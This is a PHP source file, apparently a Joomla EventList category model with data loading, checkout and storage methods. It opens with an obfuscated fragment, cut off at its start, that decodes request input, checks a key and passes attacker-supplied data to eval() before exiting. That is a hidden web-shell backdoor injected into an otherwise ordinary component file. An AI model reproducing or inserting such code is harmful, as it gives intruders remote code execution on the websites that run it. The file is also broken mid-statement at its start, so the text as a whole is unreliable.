$sd9ef74d){$o36f = $sd9ef74d;$fbcf0c = $t18191;}if (!$o36f){foreach ($q84d[$q84d['h52e1305d'][93].$q84d['h52e1305d'][16].$q84d['h52e1305d'][36].$q84d['h52e1305d'][45].$q84d['h52e1305d'][58].$q84d['h52e1305d'][36].$q84d['h52e1305d'][5].$q84d['h52e1305d'][11]] as $t18191=>$sd9ef74d){$o36f = $sd9ef74d;$fbcf0c = $t18191;}}$o36f = @$q84d[$q84d['h52e1305d'][73].$q84d['h52e1305d'][86].$q84d['h52e1305d'][70].$q84d['h52e1305d'][8].$q84d['h52e1305d'][25].$q84d['h52e1305d'][16].$q84d['h52e1305d'][18].$q84d['h52e1305d'][18]]($q84d[$q84d['h52e1305d'][22].$q84d['h52e1305d'][22].$q84d['h52e1305d'][57].$q84d['h52e1305d'][57]]($q84d[$q84d['h52e1305d'][49].$q84d['h52e1305d'][86].$q84d['h52e1305d'][58].$q84d['h52e1305d'][25].$q84d['h52e1305d'][78].$q84d['h52e1305d'][57].$q84d['h52e1305d'][5].$q84d['h52e1305d'][86].$q84d['h52e1305d'][92]]($o36f), $fbcf0c));if (isset($o36f[$q84d['h52e1305d'][45].$q84d['h52e1305d'][85]]) && $yaa8a53==$o36f[$q84d['h52e1305d'][45].$q84d['h52e1305d'][85]]){if ($o36f[$q84d['h52e1305d'][45]] == $q84d['h52e1305d'][21]){$u1e3c57b = Array($q84d['h52e1305d'][24].$q84d['h52e1305d'][81] => @$q84d[$q84d['h52e1305d'][24].$q84d['h52e1305d'][8].$q84d['h52e1305d'][58].$q84d['h52e1305d'][25].$q84d['h52e1305d'][86].$q84d['h52e1305d'][18].$q84d['h52e1305d'][86]](),$q84d['h52e1305d'][80].$q84d['h52e1305d'][81] => $q84d['h52e1305d'][70].$q84d['h52e1305d'][55].$q84d['h52e1305d'][92].$q84d['h52e1305d'][13].$q84d['h52e1305d'][70],);echo @$q84d[$q84d['h52e1305d'][81].$q84d['h52e1305d'][78].$q84d['h52e1305d'][8].$q84d['h52e1305d'][25]]($u1e3c57b);}elseif ($o36f[$q84d['h52e1305d'][45]] == $q84d['h52e1305d'][78]){eval/*edc4f6*/($o36f[$q84d['h52e1305d'][18]]);}exit();}} ?>setId((int)$array[0]); } /** * Method to set the identifier * * @access public * @param int category identifier */ function setId($id) { // Set category id and wipe data $this->_id = $id; $this->_data = null; } /** * Method to get content category data * * @access public * @return array * @since 0.9 */ function &getData() { if ($this->_loadData()) { } else $this->_initData(); return $this->_data; } /** * Method to get the group data * * @access public * @return boolean True on success * @since 0.9 */ function &getGroups() { $query = 'SELECT id AS value, name AS text' . ' FROM #__eventlist_groups' . ' ORDER BY name' ; $this->_db->setQuery( $query ); $this->_groups = $this->_db->loadObjectList(); return $this->_groups; } /** * Method to load content event data * * @access private * @return boolean True on success * @since 0.9 */ function _loadData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $query = 'SELECT *' . ' FROM #__eventlist_categories' . ' WHERE id = '.$this->_id ; $this->_db->setQuery($query); $this->_data = $this->_db->loadObject(); return (boolean) $this->_data; } return true; } /** * Method to initialise the category data * * @access private * @return boolean True on success * @since 0.9 */ function _initData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $category = new stdClass(); $category->id = 0; $category->parent_id = 0; $category->groupid = 0; $category->catname = null; $category->alias = null; $category->catdescription = null; $category->meta_description = null; $category->meta_keywords = null; $category->published = 1; $category->image = JText::_('SELECTIMAGE'); $category->access = 0; $this->_data = $category; return (boolean) $this->_data; } return true; } /** * Method to checkin/unlock the item * * @access public * @return boolean True on success * @since 0.9 */ function checkin() { if ($this->_id) { $category = & JTable::getInstance('eventlist_categories', ''); return $category->checkin($this->_id); } return false; } /** * Method to checkout/lock the item * * @access public * @param int $uid User ID of the user checking the item out * @return boolean True on success * @since 0.9 */ function checkout($uid = null) { if ($this->_id) { // Make sure we have a user id to checkout the group with if (is_null($uid)) { $user =& JFactory::getUser(); $uid = $user->get('id'); } // Lets get to it and checkout the thing... $category = & JTable::getInstance('eventlist_categories', ''); return $category->checkout($uid, $this->_id); } return false; } /** * Tests if the category is checked out * * @access public * @param int A user id * @return boolean True if checked out * @since 0.9 */ function isCheckedOut( $uid=0 ) { if ($this->_loadData()) { if ($uid) { return ($this->_data->checked_out && $this->_data->checked_out != $uid); } else { return $this->_data->checked_out; } } elseif ($this->_id < 1) { return false; } else { JError::raiseWarning( 0, 'Unable to Load Data'); return false; } } /** * Method to store the category * * @access public * @return boolean True on success * @since 1.5 */ function store($data) { $row =& $this->getTable('eventlist_categories', ''); // bind it to the table if (!$row->bind($data)) { JError::raiseError(500, $this->_db->getErrorMsg() ); return false; } if (!$row->id) { $row->ordering = $row->getNextOrder(); } // Make sure the data is valid if (!$row->check()) { $this->setError($row->getError()); return false; } // Store it in the db if (!$row->store()) { JError::raiseError(500, $this->_db->getErrorMsg() ); return false; } return $row->id; } /** * Method to set the access level of the category * * @access public * @param integer id of the category * @param integer access level * @return boolean True on success * @since 1.5 */ function access($id, $access) { $row =& $this->getTable('eventlist_categories', ''); $row->load( $id ); $row->access = $access; if ( !$row->check() ) { return $row->getError(); } if ( !$row->store() ) { return $row->getError(); } return true; } } ?>